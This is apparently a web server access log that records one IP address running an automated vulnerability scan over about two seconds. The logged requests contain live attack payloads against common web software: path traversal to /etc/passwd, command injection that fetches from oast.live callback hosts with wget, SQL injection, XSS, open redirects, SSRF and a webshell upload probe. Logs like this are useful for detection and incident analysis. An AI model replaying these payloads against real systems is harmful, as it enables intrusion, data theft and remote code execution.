[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../conf/config.properties HTTP/1.1" 226
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/stc HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup2.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath=380DIQgxOu1iGaaXFgjHPltX2OE.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openx/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name=380DI3AyVbsrOZ3Bxx0lk9BaCWh.php&target=l1_Lw HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /confluence/pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/profile.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /t/index.php?action[]=aaaa HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forum/index.php?SQ=0&t=search&srch=380DI5mT6BzQ0ACy9Y4pYkxERVK&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x\"+onmouseover%3Dalert%28document.domain%29+x%3D%22 HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(wget%20http://d5g6to2hausk1oj0j65g6g1cunmi3ar1d.oast.live)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/formWsc HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pentaho/api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/patternfile?order=id%3Bselect(md5(999999999))&page=0&page_size=0 HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /SDK/webLanguage HTTP/1.1" 220
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openam/oauth2/..;/ccversion/Version HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi/networkDiag.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oam/server/opensso/sessionservice HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //interact.sh/%2f.. HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=command&command=set_city_timezone&value=$(wget%20http://d5g6to2hausk1oj0j65gzyrbwufozsbmm.oast.live)) HTTP/1.1" 3426
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler?for=connect HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /http_header.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password&_a%5bsignup%5d=1 HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /te%3Cimg%20src=x%20onerror=alert(42)%3Est HTTP/1.1" 199
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20- HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboardUser HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/sys/user/querySysUser?username=admin HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/actuator/httptrace/ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_adminer.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=37341b5cf6c5914a6e6b8d32547ea8af HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/PWResetUserValidation HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?file=http://0177.0.0.1/etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wsman HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide-scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/1%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sample-apps/hello/%2f/ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/components?name=1&1%5B0%5D&1%5B1%5D=a&1%5B2%5D&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax/telemetry.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%00/WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/bps-backup/logs/db_backup_log.txt HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/snapshots/:key HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/non-CA-rev?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/PA_WCM_Authoring_UI/proxy/http/oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download/index.php?file=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/nginx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?m=user&c=Users&a=logout&referurl=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /./RestAPI/LogonCustomization HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ== HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/backend1 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /about/../tree?action=get HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui_base/js/..%2f..%2f..%2f..%2fsettings.js HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wpcargo/includes/380DIQgxOu1iGaaXFgjHPltX2OE.php?1=var_dump HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /about_state HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/backend/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA